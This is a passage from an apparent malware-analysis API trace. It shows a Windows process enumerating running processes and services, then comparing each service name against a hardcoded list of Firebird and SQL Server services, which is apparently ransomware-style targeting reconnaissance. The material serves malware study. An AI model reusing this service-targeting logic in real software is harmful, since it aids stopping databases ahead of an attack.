th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x248, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0192.799] lstrlenW (lpString="svchost.exe") returned 11 [0192.799] Process32NextW (in: hSnapshot=0x550, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0192.800] lstrlenW (lpString="audiodg.exe") returned 11 [0192.800] Process32NextW (in: hSnapshot=0x550, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x710, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x3bc, pcPriClassBase=8, dwFlags=0x0, szExeFile="sihost.exe")) returned 1 [0192.802] lstrlenW (lpString="sihost.exe") returned 10 [0192.802] Process32NextW (in: hSnapshot=0x550, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x71c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x248, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0192.803] lstrlenW (lpString="svchost.exe") returned 11 [0192.803] Process32NextW (in: hSnapshot=0x550, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7a0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x248, pcPriClassBase=8, dwFlags=0x0, szExeFile="OfficeClickToRun.exe")) returned 1 [0192.804] lstrlenW (lpString="OfficeClickToRun.exe") returned 20 [0192.804] Process32NextW (in: hSnapshot=0x550, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x248, pcPriClassBase=8, dwFlags=0x0, szExeFile="SecurityHealthService.exe")) returned 1 [0192.805] lstrlenW (lpString="SecurityHealthService.exe") returned 25 [0192.806] Process32NextW (in: hSnapshot=0x550, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x590, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x4, pcPriClassBase=8, dwFlags=0x0, szExeFile="Memory Compression")) returned 1 [0192.807] lstrlenW (lpString="Memory Compression") returned 18 [0192.807] Process32NextW (in: hSnapshot=0x550, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x804, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x3bc, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0192.808] lstrlenW (lpString="taskhostw.exe") returned 13 [0192.808] Process32NextW (in: hSnapshot=0x550, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x80c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x3bc, pcPriClassBase=6, dwFlags=0x0, szExeFile="msoia.exe")) returned 1 [0192.809] lstrlenW (lpString="msoia.exe") returned 9 [0192.809] Process32NextW (in: hSnapshot=0x550, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa38, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x35, th32ParentProcessID=0xa20, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0192.810] lstrlenW (lpString="explorer.exe") returned 12 [0192.811] Process32NextW (in: hSnapshot=0x550, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb74, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x20, th32ParentProcessID=0x2e8, pcPriClassBase=8, dwFlags=0x0, szExeFile="SearchUI.exe")) returned 1 [0192.812] lstrlenW (lpString="SearchUI.exe") returned 12 [0192.812] Process32NextW (in: hSnapshot=0x550, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xba8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x19, th32ParentProcessID=0x2e8, pcPriClassBase=8, dwFlags=0x0, szExeFile="ShellExperienceHost.exe")) returned 1 [0192.813] lstrlenW (lpString="ShellExperienceHost.exe") returned 23 [0192.813] Process32NextW (in: hSnapshot=0x550, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x2e8, pcPriClassBase=8, dwFlags=0x0, szExeFile="RuntimeBroker.exe")) returned 1 [0192.814] lstrlenW (lpString="RuntimeBroker.exe") returned 17 [0192.815] Process32NextW (in: hSnapshot=0x550, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd1c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x2e8, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0192.816] lstrlenW (lpString="WmiPrvSE.exe") returned 12 [0192.816] Process32NextW (in: hSnapshot=0x550, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xdd8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x18, th32ParentProcessID=0xa38, pcPriClassBase=8, dwFlags=0x0, szExeFile="wmxsde.exe")) returned 1 [0192.817] lstrlenW (lpString="wmxsde.exe") returned 10 [0192.817] Process32NextW (in: hSnapshot=0x550, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xea8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x3bc, pcPriClassBase=13, dwFlags=0x0, szExeFile="consent.exe")) returned 1 [0192.818] lstrlenW (lpString="consent.exe") returned 11 [0192.819] Process32NextW (in: hSnapshot=0x550, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf64, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x2e8, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1 [0192.820] lstrlenW (lpString="dllhost.exe") returned 11 [0192.820] Process32NextW (in: hSnapshot=0x550, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf64, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x2e8, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 0 [0192.821] CloseHandle (hObject=0x550) returned 1 [0192.821] Sleep (dwMilliseconds=0x1f4) [0193.509] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x459f560 [0193.511] EnumServicesStatusExW (in: hSCManager=0x459f560, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x25eff3c, lpServicesReturned=0x25eff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x25eff3c, lpServicesReturned=0x25eff54, lpResumeHandle=0x0) returned 0 [0193.512] GetLastError () returned 0xea [0193.512] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0x1bc4) returned 0x46f4f90 [0193.512] EnumServicesStatusExW (in: hSCManager=0x459f560, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x46f4f90, cbBufSize=0x1bc4, pcbBytesNeeded=0x25eff3c, lpServicesReturned=0x25eff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x46f4f90, pcbBytesNeeded=0x25eff3c, lpServicesReturned=0x25eff54, lpResumeHandle=0x0) returned 1 [0193.514] CloseServiceHandle (hSCObject=0x459f560) returned 1 [0193.514] lstrlenW (lpString="Appinfo") returned 7 [0193.514] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Appinfo") returned 1 [0193.514] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Appinfo") returned 1 [0193.514] lstrcmpiW (lpString1="sqlwriter", lpString2="Appinfo") returned 1 [0193.514] lstrcmpiW (lpString1="mssqlserver", lpString2="Appinfo") returned 1 [0193.514] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Appinfo") returned 1 [0193.514] lstrlenW (lpString="AppXSvc") returned 7 [0193.514] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AppXSvc") returned 1 [0193.514] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AppXSvc") returned 1 [0193.514] lstrcmpiW (lpString1="sqlwriter", lpString2="AppXSvc") returned 1 [0193.514] lstrcmpiW (lpString1="mssqlserver", lpString2="AppXSvc") returned 1 [0193.514] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AppXSvc") returned 1 [0193.515] lstrlenW (lpString="AudioEndpointBuilder") returned 20 [0193.515] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0193.515] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0193.515] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1 [0193.515] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1 [0193.515] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1 [0193.515] lstrlenW (lpString="Audiosrv") returned 8 [0193.515] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Audiosrv") returned 1 [0193.515] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Audiosrv") returned 1 [0193.515] lstrcmpiW (lpString1="sqlwriter", lpString2="Audiosrv") returned 1 [0193.515] lstrcmpiW (lpString1="mssqlserver", lpString2="Audiosrv") returned 1 [0193.515] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Audiosrv") returned 1 [0193.515] lstrlenW (lpString="BFE") returned 3 [0193.515] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1 [0193.515] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1 [0193.515] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1 [0193.515] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1 [0193.515] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1 [0193.515] lstrlenW (lpString="BrokerInfrastructure") returned 20 [0193.515] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BrokerInfrastructure") returned 1 [0193.515] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BrokerInfrastructure") returned 1 [0193.515] lstrcmpiW (lpString1="sqlwriter", lpString2="BrokerInfrastructure") returned 1 [0193.515] lstrcmpiW (lpString1="mssqlserver", lpString2="BrokerInfrastructure") returned 1 [0193.515] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BrokerInfrastructure") returned 1 [0193.515] lstrlenW (lpString="CDPSvc") returned 6 [0193.516] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CDPSvc") returned 1 [0193.516] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CDPSvc") returned 1 [0193.516] lstrcmpiW (lpString1="sqlwriter", lpString2="CDPSvc") returned 1 [0193.516] lstrcmpiW (lpString1="mssqlserver", lpString2="CDPSvc") returned 1 [0193.516] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CDPSvc") returned 1 [0193.516] lstrlenW (lpString="ClickToRunSvc") returned 13 [0193.516] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ClickToRunSvc") returned 1 [0193.516] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ClickToRunSvc") returned 1 [0193.516] lstrcmpiW (lpString1="sqlwriter", lpString2="ClickToRunSvc") returned 1 [0193.516] lstrcmpiW (lpString1="mssqlserver", lpString2="ClickToRunSvc") returned 1 [0193.516] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ClickToRunSvc") returned 1 [0193.516] lstrlenW (lpString="CoreMessagingRegistrar") returned 22 [0193.516] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1 [0193.516] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1 [0193.516] lstrcmpiW (lpString1="sqlwriter", lpString2="CoreMessagingRegistrar") returned 1 [0193.516] lstrcmpiW (lpString1="mssqlserver", lpString2="CoreMessagingRegistrar") returned 1 [0193.516] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CoreMessagingRegistrar") returned 1 [0193.516] lstrlenW (lpString="CryptSvc") returned 8 [0193.516] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1 [0193.516] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1 [0193.516] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1 [0193.516] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1 [0193.517] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1 [0193.517] lstrlenW (lpString="DcomLaunch") returned 10 [0193.517] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1 [0193.517] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1 [0193.517] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1 [0193.517] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1 [0193.517] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1 [0193.517] lstrlenW (lpString="DeviceAssociationService") returned 24 [0193.517] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DeviceAssociationService") returned 1 [0193.517] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DeviceAssociationService") returned 1 [0193.517] lstrcmpiW (lpString1="sqlwriter", lpString2="DeviceAssociationService") returned 1 [0193.517] lstrcmpiW (lpString1="mssqlserver", lpString2="DeviceAssociationService") returned 1 [0193.517] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DeviceAssociationService") returned 1 [0193.517] lstrlenW (lpString="Dhcp") returned 4 [0193.517] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1 [0193.517] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1 [0193.517] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1 [0193.517] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1 [0193.517] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1 [0193.517] lstrlenW (lpString="Dnscache") returned 8 [0193.517] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1 [0193.517] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1 [0193.517] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1 [0193.517] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1 [0193.517] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1 [0193.517] lstrlenW (lpString="DPS") returned 3 [0193.517] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1 [0193.518] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1 [0193.518] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1 [0193.518] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1 [0193.518] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1 [0193.518] lstrlenW (lpString="DusmSvc") returned 7 [0193.518] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DusmSvc") returned 1 [0193.518] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DusmSvc") returned 1 [0193.518] lstrcmpiW (lpString1="sqlwriter", lpString2="DusmSvc") returned 1 [0193.518] lstrcmpiW (lpString1="mssqlserver", lpString2="DusmSvc") returned 1 [0193.518] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DusmSvc") returned 1 [0193.518] lstrlenW (lpString="EventLog") returned 8 [0193.518] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventLog") returned 1 [0193.518] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventLog") returned 1 [0193.518] lstrcmpiW (lpString1="sqlwriter", lpString2="EventLog") returned 1 [0193.518] lstrcmpiW (lpString1="mssqlserver", lpString2="EventLog") returned 1 [0193.518] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventLog") returned 1 [0193.518] lstrlenW (lpString="EventSystem") returned 11 [0193.518] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1 [0193.518] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1 [0193.518] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1 [0193.518] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1 [0193.518] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1 [0193.518] lstrlenW (lpString="FontCache") returned 9 [0193.518] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="FontCache") returned -1 [0193.518] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="FontCache") returned -1 [0193.518] lstrcmpiW (lpString1="sqlwriter", lpString2="FontCache") returned 1 [0193.519] lstrcmpiW (lpString1="mssqlserver", lpString2="FontCache") returned 1 [0193.519] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="FontCache") returned 1 [0193.519] lstrlenW (lpString="gpsvc") returned 5 [0193.519] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1 [0193.519] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1 [0193.519] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1 [0193.519] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1 [0193.519] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1 [0193.519] lstrlenW (lpString="iphlpsvc") returned 8 [0193.519] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1 [0193.519] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1 [0193.519] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1 [0193.519] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1 [0193.519] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1 [0193.519] lstrlenW (lpString="KeyIso") returned 6 [0193.519] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="KeyIso") returned -1 [0193.519] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="KeyIso") returned -1 [0193.519] lstrcmpiW (lpString1="sqlwriter", lpString2="KeyIso") returned 1 [0193.519] lstrcmpiW (lpString1="mssqlserver", lpString2="KeyIso") returned 1 [0193.519] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="KeyIso") returned 1 [0193.519] lstrlenW (lpString="LanmanServer") returned 12 [0193.519] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1 [0193.519] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1 [0193.519] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1 [0193.519] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1 [0193.519] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1 [0193.520] lstrlenW (lpString="LanmanWorkstation") returned 17 [0193.520] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0193.572] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0193.572] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1 [0193.572] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1 [0193.572] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1 [0193.572] lstrlenW (lpString="lfsvc") returned 5 [0193.572] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lfsvc") returned -1 [0193.572] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lfsvc") returned -1 [0193.572] lstrcmpiW (lpString1="sqlwriter", lpString2="lfsvc") returned 1 [0193.572] lstrcmpiW (lpString1="mssqlserver", lpString2="lfsvc") returned 1 [0193.572] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lfsvc") returned 1 [0193.572] lstrlenW (lpString="lmhosts") returned 7 [0193.572] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1 [0193.572] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1 [0193.572] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1 [0193.572] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1 [0193.572] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1 [0193.572] lstrlenW (lpString="LSM") returned 3 [0193.572] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LSM") returned -1 [0193.573] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LSM") returned -1 [0193.573] lstrcmpiW (lpString1="sqlwriter", lpString2="LSM") returned 1 [0193.573] lstrcmpiW (lpString1="mssqlserver", lpString2="LSM") returned 1 [0193.573] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LSM") returned 1 [0193.573] lstrlenW (lpString="MpsSvc") returned 6 [0193.573] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1 [0193.573] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1 [0193.573] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1 [0193.573] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1 [0193.573] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1 [0193.573] lstrlenW (lpString="NcbService") returned 10 [0193.573] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NcbService") returned -1 [0193.573] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NcbService") returned -1 [0193.573] lstrcmpiW (lpString1="sqlwriter", lpString2="NcbService") returned 1 [0193.573] lstrcmpiW (lpString1="mssqlserver", lpString2="NcbService") returned -1 [0193.573] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NcbService") returned 1 [0193.573] lstrlenW (lpString="netprofm") returned 8 [0193.573] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1 [0193.573] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1 [0193.573] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1 [0193.573] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1 [0193.573] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1 [0193.573] lstrlenW (lpString="NgcSvc") returned 6 [0193.573] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NgcSvc") returned -1 [0193.573] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NgcSvc") returned -1 [0193.573] lstrcmpiW (lpString1="sqlwriter", lpString2="NgcSvc") returned 1 [0193.573] lstrcmpiW (lpString1="mssqlserver", lpString2="NgcSvc") returned -1 [0193.573] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NgcSvc") returned 1 [0193.574] lstrlenW (lpString="NlaSvc") returned 6 [0193.574] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1 [0193.574] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1 [0193.574] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1 [0193.574] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1 [0193.574] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1 [0193.574] lstrlenW (lpString="nsi") returned 3 [0193.574] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1 [0193.574] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1 [0193.574] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1 [0193.574] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1 [0193.574] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1 [0193.574] lstrlenW (lpString="PcaSvc") returned 6 [0193.574] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1 [0193.574] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1 [0193.574] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1 [0193.574] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1 [0193.574] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1 [0193.574] lstrlenW (lpString="PlugPlay") returned 8 [0193.574] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1 [0193.574] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1 [0193.574] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1 [0193.574] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1 [0193.574] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1 [0193.574] lstrlenW (lpString="Power") returned 5 [0193.574] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1 [0193.574] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1 [0193.574] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1 [0193.575] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1 [0193.575] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1 [0193.575] lstrlenW (lpString="ProfSvc") returned 7 [0193.575] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1 [0193.575] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1 [0193.575] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1 [0193.575] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1 [0193.575] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1 [0193.575] lstrlenW (lpString="RpcEptMapper") returned 12 [0193.575] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1 [0193.575] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1 [0193.575] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1 [0193.575] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1 [0193.575] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1 [0193.575] lstrlenW (lpString="RpcSs") returned 5 [0193.575] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1 [0193.575] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1 [0193.575] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1 [0193.575] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1 [0193.575] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1 [0193.575] lstrlenW (lpString="SamSs") returned 5 [0193.575] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1 [0193.575] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1 [0193.575] lstrcmpiW (lpString1="sqlwriter", 